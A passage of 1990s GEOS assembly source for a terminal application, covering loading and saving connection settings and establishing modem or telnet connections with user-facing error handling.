Since there are many UI objects and access point properties to
handle, we arrange the data as tables to deal with.
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 6/15/95 Initial version
jwu 4/22/96 Add backspace setting for Telnet
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TermUpdateFromAccessPoint proc near
uses ax, bx, si, dx, bp
.enter
EC < Assert_dgroup ds >
;
; set up common parameters
;
mov ds:[settingsConnection], cx
mov ax,cx
GetResourceHandleNS ConnectionSettingsContent, bx
CheckHack <segment ConnectionSettingsContent eq \
segment ConnectionNameText>
mov si, offset ConnectionObjTable
; si <- index to
; ConnectionObjTable
mov di, offset ConnectionAPSPTable
; di <- index to
; ConnectionAPSPTable
;
; load string fields
;
mov cx, NUM_TEXT_SETTINGS
mov bp, offset TermLoadConnectionText
call TermDoConnectionEnum ; cx destroyed
; si <- next
; ConnectionObjTable entry
; di <- next
; ConnectionAPSPTable entry
if _TELNET
;
; Load internet access point from file
;
call TermLoadConnectionAccPnt
endif ; _TELNET
;
; load item fields
;
CheckHack <segment TermLoadConnectionItem eq \
segment ConnectionUpdateRoutineTable>
mov bp, offset ConnectionUpdateRoutineTable
; bp <- index to
; ConnectionUpdateRoutineTable
mov cx, NUM_ITEM_SETTINGS
CheckHack <segment TermLoadConnectionItem eq \
segment ConnectionItemDefaultSelectionTable>
mov bx, offset ConnectionItemDefaultSelectionTable
enumLoop:
;
; ^hBX <- UI obj block
;
push si, di, bp, bx
mov si, cs:[si] ; ^lbx:si <-optr to UI obj
mov dx, cs:[di] ; dx <-
; AccessPointStandardProperty
mov di, cs:[bp] ; di <- nptr of routine in
; ConnectionUpdateRoutineTable
EC < Assert_nptr di, cs >
mov bp, cs:[bx] ; bp <- default GenItem
; selection
GetResourceHandleNS ConnectionSettingsContent, bx
call TermLoadConnectionItem
pop si, di, bp, bx ; restore indices
add di, 2 ; update table index
add si, 2 ; update table index
add bp, 2 ; update table index
add bx, 2 ; update table index
loop enumLoop
.leave
ret
TermUpdateFromAccessPoint endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TermLoadConnectionText
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Load settings text object from database
CALLED BY: (INTERNAL)
PASS: ^lbx:si - text object
dx - AccessPointStandardProperty
ax - access point ID
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Get string property;
if (got property) {
Fill in the string in UI text object with property got;
Free up the block;
} else {
Empty string in UI text object;
}
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 5/22/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TermLoadConnectionText proc near
uses ax,bx,cx,dx,si,di,bp
.enter
;
; fetch text value in a block
;
push bx
clr cx ; use standard string
clr bp ; allocate block
call AccessPointGetStringProperty ; ^hbx=text, cx=size
mov dx,bx
pop bx
jc clear
;
; send it to text object and set cursor at start
;
push dx
mov ax, MSG_VIS_TEXT_REPLACE_ALL_BLOCK
mov di, mask MF_CALL
call ObjMessage
;
; free text block
;
pop bx ; bx = text block
call MemFree
done:
.leave
ret
clear:
mov ax, MSG_VIS_TEXT_DELETE_ALL
mov di, mask MF_FORCE_QUEUE
call ObjMessage
jmp done
TermLoadConnectionText endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TermLoadConnectionItem
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Load settings GenItemGroup object from database
CALLED BY: (INTERNAL) TermUpdateFromAccessPoint
PASS: ^lbx:si = GenItemGroup object to update
dx = AccessPointStandardProperty
ax = access point ID
bp = default selection if not found from Access Point
database
ds = dgroup
di = nptr to function to call to update internal
variable.
The function must take:
ds = dgroup
cx = bits to adjust
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Get integer property from access point;
if (no property) {
property = default property;
}
Set the property in GenItemGroup;
Call routine passed in to update internal status;
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 6/15/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TermLoadConnectionItem proc near
uses ax, bx, cx, dx, di, si, bp
.enter
EC < Assert_dgroup ds >
EC < Assert_nptr di, cs >
;
; Get the data from access point
;
clr cx ; use standard string
call AccessPointGetIntegerProperty
; carry set if error
; ax <- value of property
mov_tr cx, ax ; cx <- selection
jnc gotProperty ; jmp if no error
mov cx, bp ; cx <- default selection
gotProperty:
;
; Set the GenItemGroup
;
push di, cx
clr dx ; determinate
mov di, mask MF_FORCE_QUEUE
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
call ObjMessage ; ax,cx,dx,bp,di destroyed
pop di, cx ; di <- nptr to routine
;
; Call the function to update internal variables.
;
call di
.leave
ret
TermLoadConnectionItem endp
if _TELNET
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TermLoadConnectionAccPnt
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Load internet access point to UI
CALLED BY: (INTERNAL)
PASS: ax = access point ID
ds = dgroup
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 9/11/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TermLoadConnectionAccPnt proc near
uses ax, bx, cx, dx, si, di
.enter
EC < Assert_dgroup ds >
clr cx ; use standard string
mov dx, APSP_INTERNET_ACCPNT
call AccessPointGetIntegerProperty
; ax <- internet access point selection
; carry set if error
jc noPrevAccPnt ; don't set if no predefined value
;
; Update access point here. We could update access point controller
; and then later on get current selection from it. However, we may
; run into the problem that the controller has not been brought up to
; UI and thus not built. Then we cannot set the selection here and
; will not get any selection later.
;
mov ds:[remoteExtAddr].APESACA_accessPoint, ax
mov_tr cx, ax ; cx <- selection
;
; Set the selection in internet access controller
;
GetResourceHandleNS ConnectionInternetAccessControl, bx
mov si, offset ConnectionInternetAccessControl
mov di, mask MF_CALL
mov ax, MSG_ACCESS_POINT_CONTROL_SET_SELECTION
call ObjMessage ; di destroyed
; carry set if not in list
jmp done
noPrevAccPnt:
mov ds:[remoteExtAddr].APESACA_accessPoint, \
ACCESS_POINT_INVALID_ID
done:
.leave
ret
TermLoadConnectionAccPnt endp
endif ; _TELNET
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TermSettingsContentGenNavigateToNextField
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Validate and save, then continue if everything is ok
CALLED BY: MSG_GEN_NAVIGATE_TO_NEXT_FIELD
MSG_GEN_NAVIGATE_TO_PREVIOUS_FIELD
MSG_GEN_GUP_INTERACTION_COMMAND
PASS: *ds:si = TermSettingsContentClass object
es = segment of TermSettingsContentClass
ax = message #
cx = InteractionCommand (M_G_G_I_C only)
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 3/14/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TermSettingsContentGenNavigateToNextField method dynamic TermSettingsContentClass,
MSG_GEN_NAVIGATE_TO_NEXT_FIELD,
MSG_GEN_NAVIGATE_TO_PREVIOUS_FIELD,
MSG_GEN_GUP_INTERACTION_COMMAND
;
; in the case of M_G_G_I_C, we only care about IC_DISMISS
;
cmp ax, MSG_GEN_GUP_INTERACTION_COMMAND
jne validate
cmp cx, IC_DISMISS
jne goSuper
if _TELNET
;
; the access point will not have been updted unless the
; user changed it, so get its value now
;
push ax, cx, si, es
mov si, offset ConnectionInternetAccessControl
mov ax, MSG_ACCESS_POINT_CONTROL_GET_SELECTION
call ObjCallInstanceNoLock ; ax = selection
;
; save the value
;
mov bp, ax ; value to write
clr cx ; using APSP
mov dx, APSP_INTERNET_ACCPNT ; field to modify
mov bx, handle dgroup
call MemDerefES
mov ax, es:[settingsConnection] ; point to modify
call AccessPointSetIntegerProperty
pop ax, cx, si, es
endif ; _TELNET
;
; if there is invalid data, abort the navigation
;
validate:
call TermSaveFocus
jc done
;
; otherwise let the superclass carry out the navigation
;
goSuper:
mov di, offset TermSettingsContentClass
call ObjCallSuperNoLock
done:
ret
TermSettingsContentGenNavigateToNextField endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TermSaveFocus
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Save the object which has the focus
CALLED BY: (INTERNAL) TermSettingsContentGenNavigateToNextField
PASS: *ds:si - content
RETURN: carry set to abort current operation
carry clear if OK to continue
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 3/14/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TermSaveFocus proc near
uses ax,bx,cx,dx,si,di,bp,es
.enter
;
; get the current focus
;
mov ax, MSG_META_GET_FOCUS_EXCL ; ^lcx:dx = focus
call ObjCallInstanceNoLock
;
; if it's not in this segment, disregard
;
cmp cx, ds:[LMBH_handle]
clc
jne done
;
; is it dirty?
;
mov ax, dx
call ObjGetFlags
test al, mask OCF_DIRTY ; clear carry
jz done
;
; is it a text setting?
;
mov si, dx
mov cx, NUM_TEXT_SETTINGS
mov di, offset ConnectionObjTable
top:
cmp si, cs:[di]
je found
add di, size lptr
loop top
clc
jmp done
;
; get the APSP
;
found:
sub di, offset ConnectionObjTable
add di, offset ConnectionAPSPTable
mov dx, cs:[di]
;
; get the access point
;
mov bx, handle dgroup
call MemDerefES
mov ax, es:[settingsConnection]
;
; validate phone number
;
if not _TELNET
cmp dx, APSP_PHONE
jne save
call TermValidatePhone
jc done
save:
endif
;
; save it
;
call TermSaveConnectionText
jc done
;
; mark it clean
;
mov ax, si
mov bh, mask OCF_DIRTY
clr bl
call ObjSetFlags
clc
done:
.leave
ret
TermSaveFocus endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TermSaveConnectionText
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Save settings text object to database
CALLED BY: (INTERNAL) TermSaveFocus
PASS: *ds:si - text object
dx - AccessPointStandardProperty
ax - access point ID
RETURN: nothing
DESTROYED: ds (only if carry set)
SIDE EFFECTS:
FoamWarnIfNotEnoughSpace could move object blocks, but only if it
really warns, which means if we are low on disk space. It should only
muck with the block containing the application object, but don't count
on that without further testing.
PSEUDO CODE/STRATEGY:
Get string text from Text object;
Lock string block;
Set string property of access point;
Free string block;
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 4/27/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TermSaveConnectionText proc near
uses ax,bx,cx,dx,di
.enter
;
; fetch value from text object
;
push ax,dx
mov ax, MSG_VIS_TEXT_GET_ALL_BLOCK
clr dx ; alloc block
call ObjCallInstanceNoLock ; cx=block, ax=size
mov bx,cx
tst ax
jz clear
;
; get a pointer to text
;
call MemLock
mov es,ax
clr di ; es:di = text
;
; write out the new value
;
write::
pop ax,dx
clr cx ; use standard string
call AccessPointSetStringProperty ; ^hbx=text, cx=size
EC < ERROR_C TERM_CONNECTION_DEFINITION_FAILED >
call MemFree
clc
done:
.leave
ret
;
; the text object is empty
;
clear:
pop ax,dx
clr cx
call AccessPointDestroyProperty
clc
jmp done
;
; no disk space
;
TermSaveConnectionText endp
if _TELNET
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TermSaveConnectionAccPnt
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Save internet access point ID
CALLED BY: (INTERNAL) TermSaveConnection
PASS: ax = access point ID
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 9/11/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TermSaveConnectionAccPnt proc near
uses ax, bx, cx, dx, si, di, bp
.enter
;
; Get access point ID from controller
;
push ax ; save access point ID
GetResourceHandleNS ConnectionInternetAccessControl, bx
mov si, offset ConnectionInternetAccessControl
mov di, mask MF_CALL
mov ax, MSG_ACCESS_POINT_CONTROL_GET_SELECTION
call ObjMessage ; di destroyed
; ax <- selectionID
; carry set if no selection
mov_tr bp, ax ; bp <- selection to save
pop ax ; ax <- access point ID
jc warn
;
; Save the internet access point
;
clr cx ; use std property
mov dx, APSP_INTERNET_ACCPNT
call AccessPointSetIntegerProperty
done:
.leave
ret
warn:
;
; Display warning about no internet access points.
;
push ds
mov bx, handle dgroup
call MemDerefDS
mov bp, ERR_NO_INTERNET_ACCESS
call DisplayErrorMessage
pop ds
jmp done
TermSaveConnectionAccPnt endp
endif ; _TELNET
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TermMakeConnection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Make connection from defined access point
CALLED BY: MSG_TERM_MAKE_CONNECTION
PASS: *ds:si = TermClass object
ds:di = TermClass instance data
es = segment of TermClass
ax = message #
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Get access point ID of current selection;
Update internal variables and UI from properties associating that
access point;
Send out internal modem init command;
Send out user specified modem init command;
Dial phone number;
Bring up main view dialog;
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 6/14/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TermMakeConnection method dynamic TermClass,
MSG_TERM_MAKE_CONNECTION
uses ax, cx, dx, bp
.enter
if _MODEM_STATUS and not _TELNET
segmov es, ds, bx
;
; Make sure that we have permission to call the serial thread.
; Otherwise, the serial thread might be blocking for us,
; and cause deadlock. Requeue this message, but
; take a trip through the serial thread first,
; so we don't loop ourselves to death.
;
; DO NOT PUT ANY CODE BEFORE THIS THAT YOU DON'T WANT
; EXECUTED MORE THAN ONCE PER CONNECTION.
;
BitTest es:[statusFlags], TSF_PROCESS_MAY_BLOCK
jnz okToConnect
mov bx, handle 0
mov di, mask MF_RECORD
call ObjMessage ; di = event
mov cx, di ; cx = event
mov dx, mask MF_FORCE_QUEUE or \
mask MF_CHECK_DUPLICATE or \
mask MF_REPLACE ; In case user pressed more
; than once.
mov ax, MSG_META_DISPATCH_EVENT
SendSerialThread
jmp error
okToConnect:
endif ; not _TELNET
;
; Init variables first
;
call TermMakeConnectionInit
; ax,bx,cx,di,si,ds,es,bp destroyed
; carry set if com port not opened
if _TELNET
LONG jc noInternetErr
else
LONG jc comOpenError
endif
call TermResetForConnect ; carry set if out of memory
if _TELNET
;
; If user cancels connection, ignore any error
;
lahf
GetResourceSegmentNS dgroup, es, TRASH_BX
mov_tr bx, ax
mov ax, TCE_USER_CANCEL
BitTest es:[statusFlags], TSF_USER_CANCEL_CONNECTION
jnz checkUserCancel
mov_tr ax, bx
sahf
LONG jc outOfMemError
;-----------------------------------
; Preparing telnet connection
;-----------------------------------
call TelnetConnectInternetProvider
; carry set if error
; ax <- TelnetCreateErr
LONG jc connectInternetErr
GetResourceHandleNS ConnectionDestHostText, bx
mov si, offset ConnectionDestHostText
call TelnetResolveAddress
; carry set if error in parsing addr
; ax <- TelnetCreateErr
LONG jc resolveAddrErr
call TelnetCreateConnection
; carry set if error
; ax <- TelnetCreateErr
else ; _TELNET
;
; If user cancels, ignore any error
;
lahf
GetResourceSegmentNS dgroup, es
cmp es:[responseType], TMRT_USER_CANCEL
je generalError
sahf
LONG jc outOfMemError
;
; Check if phone number is correct. Mostly copied from
; TermQuickDial. We don't really need to care about DBCS here since
; the modem commands are in bytes.
;
GetResourceHandleNS ConnectionPhoneText, bx
mov si, offset ConnectionPhoneText
call CheckPhoneNumber;first check if number legit
LONG jz phoneNumError ; exit if no number to dial
if _MODEM_STATUS
;
; Tell serial line to start keep track of modem response
;
mov ax, MSG_SERIAL_CHECK_MODEM_STATUS_START
GetResourceSegmentNS dgroup, es
CallSerialThread ; ax,cx destroyed
LONG jc outOfMemError
;
; Send whatever init string we need to send before users'
;
mov es:[modemInitStart], TRUE
mov dl, TIMIS_FACTORY
mov ax, MSG_SERIAL_SEND_INTERNAL_MODEM_COMMAND
call TermWaitForModemResponse
; carry set if error
LONG jc comWriteError
cmp es:[responseType], TMRT_OK
LONG jne generalError ; error if modem isn't OK
;
; Send services' modem init string
;
call TermSendDatarecModemInit
; carry set if error
; ax,bx,cx,dx,bp,ds,si destroyed
; es <- dgroup
mov es:[modemInitStart], FALSE
LONG jc comWriteError
cmp es:[responseType], TMRT_OK
LONG jne generalError ; error if modem isn't OK
endif ; if _MODEM_STATUS
;
; Send modem initialization code
;
GetResourceHandleNS ConnectionInitText, bx
mov si, offset ConnectionInitText
clr al ; send custom string
call SendTextObjStrings
; carry set if error
; al <- 0 if connection err
; al <- 1 if no text
if _MODEM_STATUS
jnc waitForDial
else
jnc sendIntModemInit
endif
tst al ; connection err or no modem command?
LONG jz comWriteError ; exit if can't connect
jmp dial ; continue if modem init command
if _MODEM_STATUS
waitForDial:
EC < Assert_dgroup es >
cmp es:[responseType], TMRT_OK
je sendIntModemInit
cmp es:[responseType], TMRT_TIMEOUT
jne generalError
mov es:[responseType], TMRT_ERROR
jmp generalError ; if timeout, modem init string must
; be wrong
sendIntModemInit:
mov es:[modemInitStart], TRUE
mov dl, TIMIS_INTERNAL
mov ax, MSG_SERIAL_SEND_INTERNAL_MODEM_COMMAND
call TermWaitForModemResponse
; carry set if error
mov es:[modemInitStart], FALSE
LONG jc comWriteError
cmp es:[responseType], TMRT_OK
LONG jne generalError ; error if modem isn't OK
endif ; if _MODEM_STATUS
dial:
;
; Dial the number
;
call QuickDial ; carry set if connect error
jc comWriteError
cmp es:[responseType], TMRT_CONNECT
jne generalError ; we have to receive CONNECT!!!
call DestroyConnectionIndicator
endif ; !_TELNET
if _TELNET
jc telnetConnectErr
call TelnetStartConnectionTimer
call DestroyConnectionIndicator
endif ; _TELNET
if _VSER
;
; Set the disconnection moniker in MainDialog
;
mov dx, CMST_LPTR
mov cx, CMT_HANGUP
clr ax
call TermReplaceDisconnectMoniker
;
; don't make app go away on disconnect
;
EC < Assert_dgroup es >
mov es:[buryOnDisconnect], BB_FALSE
endif ; _VSER
;
; Bring up the MainDialog. (BX = same resource as
; ConnectionsGroupList)
;
push bp
GetResourceHandleNS MainDialog, bx
mov si, offset MainDialog
mov di, mask MF_FORCE_QUEUE
mov ax, MSG_GEN_INTERACTION_INITIATE
call ObjMessage ; ax,cx,dx,bp,di destroyed
pop bp
clc ; signal no error
exit:
if _TELNET
jc error
else ; _TELNET
if _MODEM_STATUS
call TermMakeConnectionExit
endif ; _MODEM_STATUS
endif ; _TELNET
done:
.leave
ret
error:
jmp done
;
; Error reporting to users
;
if _TELNET
noInternetErr:
mov bp, ERR_NO_INTERNET_ACCESS
jmp displayError
connectInternetErr:
;
; If the connection is not open, don't close it
;
BitTest ds:[telnetStatus], TTS_MEDIUM_OPEN
jz mediumClosed
telnetConnectErr:
resolveAddrErr:
checkUserCancel:
;
; Close domain medium first to make sure nothing is connected.
;
call TelnetCloseDomainMedium ; carry set if error
;
; If user cancels or if TCE_PHONE_OFF, no note is displayed.
;
mediumClosed:
cmp ax, TCE_USER_CANCEL
je userCancel
cmp ax, TCE_QUIET_FAIL
jne parseTelnetCreateErr
userCancel:
call DestroyConnectionIndicator
stc ; signal error to exit code
jmp error
parseTelnetCreateErr::
call TermTelnetCreateErrToErrorString
; bp <- ErrorString
; bp <- 0 if no string
tst bp ; if there is no string, just
stc ; like user cancel
jz userCancel
jmp displayError
else ; _TELNET
if _MODEM_STATUS
generalError:
;
; The error we have should not include TMRT_OK and TMRT_CONNECT since
; these are not errors. The error string table assumes
; TMRT_USER_CANCEL is the last enum type.
;
CheckHack <TMRT_USER_CANCEL+2 eq TermModemResponseType>
mov bx, es:[responseType]
cmp bx, TMRT_USER_CANCEL ; not error if user cancel
je exitCloseComPort
sub bx, TMRT_ERROR ; bx <- beginning error type
; among TermModemResponseType
jae getErrorString ; for OK and CONNECT
; received, they're unexpected
mov bp, ERR_CONNECT_MODEM_INIT_ERROR
jmp displayError
getErrorString:
shr bx ; index is byte size
EC < cmp bx, MODEM_RESPONSE_ERR_STRING_TABLE_LENGTH >
EC < ERROR_AE TERM_INVALID_MODEM_RESPONSE_ERR_STRING_TABLE_INDEX>
mov al, cs:[modemResponseErrorStringTable][bx]
clr ah
mov bp, ax ; bp <- ErrorString
jmp displayError
timeoutError:
mov bp, ERR_CONNECT_TIMEOUT
jmp displayError
phoneNumError:
mov bp, ERR_CONNECT_NO_PHONE_NUM
jmp displayError
comOpenError:
mov bp, ERR_COM_OPEN
jmp displayError
comWriteError:
mov bp, ERR_CONNECT_TEMP_ERROR
jmp displayError
endif ; if _MODEM_STATUS
endif ; _TELNET
outOfMemError:
mov bp, ERR_NO_MEM_ABORT
displayError:
segmov ds, es, ax
call DestroyConnectionIndicator
BitSet bp, DEF_SYS_MODAL
call DisplayErrorMessage ; ax, bx destroyed
NTELT < call CloseComPort >
stc ; signal error to clean up code
jmp exit ; clean up modem status
if not _TELNET
exitCloseComPort:
;
; Display connection cancelling dialog
;
call TermDisplayCancelConnectionDialog
segmov ds, es, ax
;
; If we are waiting for dial response and need to send out
; ECI_CALL_RELEASE, we handle that in a special message handler.
;
; If we have init file key set to false, we don't
; wait for ECI_CALL_RELEASE before exiting.
;
BitTest ds:[statusFlags], TSF_WAIT_FOR_DIAL_RESPONSE
jz exitCloseComPortReal
call TermShouldWaitForECI ; carry set if wait for ECI
jc sendReleaseCall
BitClr ds:[statusFlags], TSF_WAIT_FOR_DIAL_RESPONSE
exitCloseComPortReal:
call CloseComPort
;
; Dismiss connection cancelling dialog
;
call TermDismissCancelConnectionDialog
stc
jmp exit ; clean up modem status
sendReleaseCall:
;
; We need to specially handle the call release situation and
; we don't want this thread to block. So, any cleanup work
; that TermMakeConnection will be done in this message
; handler.
;
call GeodeGetProcessHandle
mov ax, MSG_TERM_SEND_ECI_CALL_RELEASE_AFTER_CANCEL
mov di, mask MF_FORCE_QUEUE
call ObjMessage
stc
jmp done
endif ; !_TELNET
TermMakeConnection endm
if not _TELNET
;
; Make sure the table is defined in order of TermModemResponseType
; for this lookup table to work.
;
DefModemResponseErrStringTable macro errorStr, respType
.assert (respType-TMRT_ERROR) ge 0, \
<Modem response string table: response type must be greater than TMRT_ERROR>
.assert (($-modemResponseErrorStringTable) eq ((respType-TMRT_ERROR)/2)) AND \
((respType AND 00000001b) ne 1), \
<Modem response string table: strings must be defined in the same order of TermModemResponseType>
ErrorString errorStr
endm
modemResponseErrorStringTable label ErrorString
DefModemResponseErrStringTable ERR_CONNECT_MODEM_INIT_ERROR, TMRT_ERROR
DefModemResponseErrStringTable ERR_CONNECT_DATAREC_INIT_ERROR, TMRT_DATAREC_INIT_ERROR
DefModemResponseErrStringTable ERR_CONNECT_TIMEOUT, TMRT_TIMEOUT
DefModemResponseErrStringTable ERR_CONNECT_NOT_CONNECT, TMRT_BUSY
DefModemResponseErrStringTable ERR_CONNECT_NOT_CONNECT, TMRT_NOCARRIER
DefModemResponseErrStringTable ERR_CONNECT_NOT_CONNECT, TMRT_NODIALTONE
DefModemResponseErrStringTable ERR_CONNECT_NOT_CONNECT, TMRT_NOANSWER
DefModemResponseErrStringTable ERR_CONNECT_RING, TMRT_RING
DefModemResponseErrStringTable ERR_NO_MESSAGE, TMRT_UNEXPECTED_RESPONSE
MODEM_RESPONSE_ERR_STRING_TABLE_LENGTH equ $-modemResponseErrorStringTable
endif ; !_TELNET
if _TELNET
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TermTelnetCreateErrToErrorString
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Convert a TelnetCreateErr to correct ErrorString to report to
user
CALLED BY: (INTERNAL) TermMakeConnection
PASS: ax = TelnetCreateErr
RETURN: bp = ErrorString
= 0 if no string is defined for TelnetCreateErr
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
If TCE_USER_CANCEL, return;
If TelnetCreateErr is not supported, return;
Map by a table;
REVISION HISTORY:
Name Date Description
---- ---- -----------
simon 11/29/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
;
; Make sure the following strings are in the same order of TelntCreateErr
; Also make sure TelnetCreateErr increments by 2.
;
DefTCEToErrorString macro telnetCreateError, errorStr
.assert ($-TCEErrorStringTable) eq telnetCreateError
.assert (((size TelnetCreateErr) eq 2) AND \
(telnetCreateError AND 00000001b) ne 1)
word errorStr
endm
TCEErrorStringTable label word
DefTCEToErrorString TCE_USER_CANCEL, ERR_NO_MESSAGE ; shouldn't be used
DefTCEToErrorString TCE_INSUFFICIENT_MEMORY, ERR_CONNECT_TEMP_ERROR
DefTCEToErrorString TCE_INTERNET_REFUSED, ERR_CONNECT_REFUSED
DefTCEToErrorString TCE_INTERNET_TEMP_FAIL, ERR_CONNECT_TEMP_ERROR
DefTCEToErrorString TCE_CANNOT_RESOLVE_ADDR, ERR_RESOLVE_ADDR_ERROR
DefTCEToErrorString TCE_CANNOT_PARSE_ADDR, ERR_IP_ADDR
DefTCEToErrorString TCE_INVALID_INTERNET_ACCPNT, ERR_NO_INTERNET_ACCESS
DefTCEToErrorString TCE_CANNOT_CREATE_TELNET_CONNECTION, ERR_CONNECT_TEMP_ERROR
DefTCEToErrorString TCE_NO_USERNAME, ERR_NO_USERNAME
DefTCEToErrorString TCE_AUTH_FAILED, ERR_AUTH_FAILED
DefTCEToErrorString TCE_LINE_BUSY, ERR_LINE_BUSY
DefTCEToErrorString TCE_NO_ANSWER, ERR_NO_ANSWER
DefTCEToErrorString TCE_COM_OPEN, ERR_COM_OPEN
DefTCEToErrorString TCE_DIAL_ERROR, ERR_DIAL_ERROR
DefTCEToErrorString TCE_PROVIDER_ERROR, ERR_CONNECT_PROVIDER_ERROR
DefTCEToErrorString TCE_INTERNAL_ERROR, ERR_CONNECT_GENERAL_ERROR
TCE_ERROR_STRING_TABLE_SIZE equ ($-TCEErrorStringTable)
TermTelnetCreateErrToErrorString proc near
.enter
EC < Assert_etype ax, TelnetCreateErr >
CheckHack <TCE_USER_CANCEL eq 0>
;
; Don't map error if TelnetCreateErr is not within the string table
;
clr bp ; default: no string
cmp ax, TCE_ERROR_STRING_TABLE_SIZE
jae done
mov bp, offset TCEErrorStringTable
add bp, ax
mov bp, cs:[bp]
EC < Assert_etype bp, ErrorString >
done:
.leave
ret
TermTelnetCreateErrToErrorString endp
endif ; _TELNET
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TermMakeConnectionInit
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Init variables and other objects before making terminal
connection.
CALLED BY: (INTERNAL) TermMakeConnection
PASS: ds = dgroup
RETURN: Telnet only:
carry set if internet access point invalid
carry set if com port is not open
